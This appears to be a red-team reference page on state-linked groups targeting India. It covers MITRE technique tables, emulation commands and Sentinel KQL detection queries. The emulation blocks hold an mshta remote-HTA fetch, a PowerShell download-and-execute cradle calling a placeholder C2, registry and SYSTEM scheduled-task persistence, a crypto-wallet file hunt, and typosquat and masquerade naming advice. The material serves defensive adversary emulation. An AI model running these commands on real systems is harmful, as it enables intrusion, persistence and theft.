India Threat Landscape
India is one of the most targeted nations globally for state-sponsored cyber operations. Three primary adversaries are responsible for 80%+ of India-specific APT activity. Red teamers should simulate these actors — not generic threat actors.
| Sector | SideWinder | APT36 | Lazarus | Risk Level |
|---|---|---|---|---|
| Government / Defence | PRIMARY | PRIMARY | MODERATE | CRITICAL |
| BFSI / Banking | LOW | LOW | PRIMARY | CRITICAL |
| Cryptocurrency / Fintech | LOW | LOW | PRIMARY | CRITICAL |
| Education / Research | HIGH | PRIMARY | LOW | HIGH |
| Think-tanks / NGOs | PRIMARY | HIGH | LOW | HIGH |
| IT Services / Tech | LOW | LOW | HIGH | HIGH |
| Healthcare | LOW | LOW | MODERATE | MODERATE |
SideWinder (APT-C-17 / Rattlesnake)
Pakistan-linked APT active since 2012. Most prolific APT group targeting India — over 1,000 campaigns documented. Primary targets: Indian government, military, think-tanks. Known for rapid infrastructure rotation and .hta/.rtf dropper chains.
| Phase | Technique ID | Technique | SideWinder Implementation | Severity |
|---|---|---|---|---|
| Initial Access | T1566.001 | Spearphishing Attachment | RTF files exploiting CVE-2017-11882 (Office Equation Editor). Lures: Promotion orders, GoI circulars, DRDO documents. | CRIT |
| Execution | T1059.005 | VBScript | mshta.exe executes remote HTA payload from attacker-controlled CDN. Chains to .NET payload stage 2. | CRIT |
| Execution | T1203 | Exploit Client Execution | CVE-2017-11882 (CVSS 7.8) — Microsoft Office Equation Editor memory corruption. Unpatched systems in India govt still vulnerable. | CRIT |
| Persistence | T1547.001 | Registry Run Keys | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → named as Windows service ("WinUpdate", "SvcHost") | HIGH |
| Persistence | T1053.005 | Scheduled Task | Tasks named "MicrosoftEdgeUpdate", "WindowsDefenderUpdate" — blends with legitimate tasks. | HIGH |
| Defence Evasion | T1027 | Obfuscated Files | CRIMSON RAT packed with ConfuserEx (.NET obfuscator). DLL side-loading via signed Microsoft binaries. | HIGH |
| C2 | T1071.001 | Web Protocols | HTTP POST to attacker domains mimicking Indian govt (.in TLD). Short-lived domains rotated every 2–4 weeks. TLS with LetsEncrypt. | CRIT |
| Exfiltration | T1041 | Exfiltration Over C2 | Documents (.docx, .pdf, .xlsx), credentials, screenshots exfiltrated via HTTP POST to C2 in compressed archives. | HIGH |
# Use: python-docx or exploitdb/RTF generator for testing
# Lure filename: "Posting_Order_Army_Oct2025.docx"
# Stage 2: Host HTA payload (simulated CRIMSON RAT stager)
python3 -m http.server 8080 & # Host on C2
# HTA content calls PowerShell stager:
mshta.exe http://YOUR-C2/stage2.hta
# Stage 3: Persistence via Registry Run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\ProgramData\WinUpd.exe" /f
# Stage 4: Scheduled task persistence
schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\ProgramData\WinUpd.exe" /sc onlogon /ru SYSTEM /f
// Detect mshta.exe executing remote HTA (SideWinder delivery)
DeviceProcessEvents
| where FileName == "mshta.exe"
| where ProcessCommandLine has "http://" or ProcessCommandLine has "https://"
| where InitiatingProcessFileName in ("winword.exe","excel.exe","outlook.exe")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
APT36 / Transparent Tribe (C-Major)
Pakistan-linked APT active since 2016. Focuses on Indian defence establishment, education sector, and NGOs. Known for HR-themed lures, CrimsonRAT + ObliqueRAT malware, and Android targeting via AndroRAT.
| Technique ID | Technique | APT36 Implementation | Severity |
|---|---|---|---|
| T1566.001 | Spearphishing Attachment | HR-themed lures: "Salary_Revision_Oct2025.docx", "Army_Welfare_Fund_Form.pdf". Targets DRDO, military contractors, Kashmir-focused NGOs. | CRIT |
| T1059.005 | VBScript / VBA Macro | Word macros dropping ObliqueRAT. VBScript executing PowerShell cradles. CrimsonRAT delivered as .NET assembly. | CRIT |
| T1036 | Masquerading | Binaries named "AdobeUpdate.exe", "GoogleChromeUpdater.exe". Fake government portal domains (armywelfare[.]in). | HIGH |
| T1071.001 | C2 Web Protocol | CrimsonRAT: HTTP POST with custom headers. Domain pattern: gov-[keyword]-india.com / welfare-[keyword].in | CRIT |
| T1560 | Archive Collected Data | Exfiltrated data compressed to ZIP/RAR before HTTP POST. Screenshots, documents, keylog files. | HIGH |
| T1476 | Android Malware | AndroRAT targeting Android devices of military/defence personnel. Delivered via WhatsApp as APK with military content. | HIGH |
# Filename: "Salary_Revision_Oct2025.docx"
# Macro: Downloads and executes .NET payload
# Stage 2: CrimsonRAT capabilities to emulate:
# - Screenshot capture (every 30 seconds)
# - Keylogging
# - File enumeration and upload
# - USB drive harvesting
# Use Havoc or Sliver with custom C2 profile to emulate:
# HTTP POST /api/update with custom headers
# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)
# Detection check: run this on victim VM post-sim:
Get-Process | Where-Object {$_.Name -notlike "System*"} | Select-Object Name, Id, StartTime
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft*"} | Select-Object TaskName, TaskPath
Lazarus Group (HIDDEN COBRA / ZINC)
North Korea state-sponsored group linked to DPRK's Reconnaissance General Bureau (RGB). Responsible for $3B+ in crypto theft globally. Targets India for financial gain and defence R&D espionage. Highly sophisticated — uses custom malware, zero-days, and supply chain attacks.
| Campaign | Technique | India Target | Lazarus Implementation | Severity |
|---|---|---|---|---|
| Operation DreamJob | T1566.001 | Crypto exchange employees, fintech devs | LinkedIn fake recruiter → PDF job offer → ZIP containing .iso → .lnk → PowerShell stager → BLINDINGCAN RAT | CRIT |
| npm Supply Chain | T1195.002 | India developer community | Malicious npm packages (typosquatting): "colors-js", "loadash-utils". Postinstall script exfiltrates environment vars + SSH keys. | CRIT |
| SWIFT Targeting | T1199 | Indian banks with SWIFT | Assumed breach from phished SWIFT operator → lateral to SWIFT terminal → fraudulent MT103 messages. Bangladesh Bank heist pattern. | CRIT |
| Crypto Exchange Hack | T1650 | Indian crypto exchanges | Compromise hot wallet admin → drain to DPRK-controlled wallets → Tornado Cash/mixer laundering. $200M+ from Indian exchanges. | CRIT |
| R&D Espionage | T1213 | DRDO, IIT defence research | Watering hole attacks on Indian academic portals. Credential harvesting → lateral movement → IP theft of defence designs. | HIGH |
# Company: "CryptoHire India", "BlockchainTalent.in"
# Lure PDF: "Senior_Blockchain_Dev_Binance_India_2025.pdf"
# Stage 2: PDF → ZIP → ISO → LNK chain
# .lnk file executes hidden PowerShell:
$url="http://c2-server/stage2.ps1"
IEX (New-Object Net.WebClient).DownloadString($url)
# Stage 3: Lateral movement simulation in lab
# Lazarus uses custom implants — emulate with Havoc + custom profile
# Key capability: BLINDINGCAN = modular RAT with:
# - Process injection
# - Keylogging
# - Screen capture
# - File upload/download
# Stage 4: Crypto-specific TTPs
# Look for: MetaMask config files, wallet.dat, seed phrases in documents
Get-ChildItem -Recurse -Include "wallet.dat","*.json" C:\Users\ 2>$null
Emulation Scenario Builder
Select an APT group and target sector to generate a tailored simulation scenario with objectives, TTPs, and success criteria.
IOC Reference — Domain & File Patterns
Reference patterns for lab simulation. These are IOC PATTERNS — not specific live IOCs. Use to create realistic lab infrastructure that mimics APT tradecraft.
gov-india-[keyword].com
india-[ministry]-[keyword].in
army-welfare-[random].net
# Certificate: LetsEncrypt (free, automated)
# Hosting: Bulletproof hosting (RU/CN) or compromised VPS
# TTL: 2–4 weeks before rotation
# Lab simulation: Use your own VPS + similar pattern for C2
welfare-india-[keyword].com
[ministry]-[service]-india.org
army-[department]-login.in
# Certificate: Self-signed or LetsEncrypt
# File patterns: AdobeUpdate.exe, ChromeUpdater.exe, WinHelper32.exe
# Lab: Name your Havoc payload similarly for realistic OPSEC testing
colours-js (vs colors-js)
loadash-utils (vs lodash)
react-native-crypto-utils
# Lure filenames:
Senior_[Role]_[Company]_[Year].pdf
Blockchain_Developer_Assessment.zip
# File icon: PDF icon overlay on .lnk or .exe
# Lab: Create test npm package with similar naming to verify your detection coverage
APT Detection — KQL Queries
Production-ready KQL queries for Microsoft Sentinel to detect the specific TTPs used by India-targeting APT groups. Test these during red team simulations to validate your detection coverage.
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","outlook.exe","powerpnt.exe")
| where FileName in~ ("mshta.exe","wscript.exe","cscript.exe","powershell.exe","cmd.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| order by Timestamp desc
| where ActionType == "RegistryValueSet"
| where RegistryKey has_any ("CurrentVersion\\Run","CurrentVersion\\RunOnce")
| where RegistryValueData has_any (".exe",".dll",".ps1",".vbs")
| where InitiatingProcessFileName !in~ ("msiexec.exe","setup.exe","install.exe")
| project Timestamp, DeviceName, AccountName, RegistryKey, RegistryValueName, RegistryValueData
| where InitiatingProcessFileName in~ ("node.exe","npm.cmd","npm")
| where ProcessCommandLine has_any ("curl","wget","powershell","bash","sh -c","Invoke-Expression","IEX","DownloadString")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
| where FileName =~ "powershell.exe"
| where InitiatingProcessFileName =~ "explorer.exe"
| where ProcessCommandLine has_any ("-enc","-EncodedCommand","IEX","DownloadString","Invoke-Expression")
| where isnotempty(ProcessCommandLine)
| project Timestamp, DeviceName, AccountName, ProcessCommandLine